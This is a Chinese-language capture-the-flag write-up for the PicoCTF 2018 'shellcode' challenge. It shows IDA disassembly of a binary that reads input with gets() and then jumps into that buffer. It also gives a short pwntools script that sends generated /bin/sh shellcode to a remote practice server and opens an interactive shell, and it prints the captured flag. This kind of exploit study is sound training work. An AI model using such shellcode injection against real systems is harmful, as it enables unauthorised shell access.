PicoCTF_2018_shellcode
根据linux上的shellcode写法(pwntools,手写shell)来做得题目
链接: linux上的shellcode写法(pwntools,手写shell)
解析
先chencksec一下进行查看,发现保护都未开。
放入ida中进行查看,发现反编译失败,那么我们就单纯看汇编。
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
var_A0= byte ptr -0A0h
var_C= dword ptr -0Ch
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h
; __unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 0A4h
mov eax, stdout
push 0
push 2
push 0
push eax
call setvbuf
add esp, 10h
call getegid
mov [ebp+var_C], eax
sub esp, 4
push [ebp+var_C]
push [ebp+var_C]
push [ebp+var_C]
call setresgid
add esp, 10h
sub esp, 0Ch
push offset aEnterAString ; "Enter a string!"
call puts
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+var_A0]
push eax
call vuln
add esp, 10h
sub esp, 0Ch
push offset aThanksExecutin ; "Thanks! Executing now..."
call puts
add esp, 10h
lea eax, [ebp+var_A0]
call eax
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
; } // starts at 80488A1
main endp
这是一整个main函数针对于做题,看见了有vuln就进去看看,一般这里都存在漏洞函数,进vulb看看,
public vuln
vuln proc near
; __unwind {
push ebp
mov ebp, esp
sub esp, 8
sub esp, 0Ch
push [ebp+arg_0]
call gets
add esp, 10h
sub esp, 0Ch
push [ebp+arg_0]
call puts
add esp, 10h
nop
leave
retn
; } // starts at 804887C
vuln endp
这里,发现有gets,gets的地址还是返回地址上一个栈,先当与直接写入进去了之后,就开始执行,还有NX保护,直接就栈内执行。
脚本
from pwn import *
context( os = 'linux', arch = 'i386', log_level = 'debug')
shellcode_shell = asm(shellcraft.sh())
p = remote('node4.buuoj.cn',29686)
#p = process('./PicoCTF_2018_shellcode')
p.sendline(shellcode_shell)
p.interactive()
最后flag是flag{71ca597a-f464-44f5-8871-9cc4bd4febef}
这个题目主要是怎么让你去编写shellcode和利用shellcode,其实这个题目是两个做法,可以自己写shellcode,或者利用pwntools自动生成shellcode都可运行成功。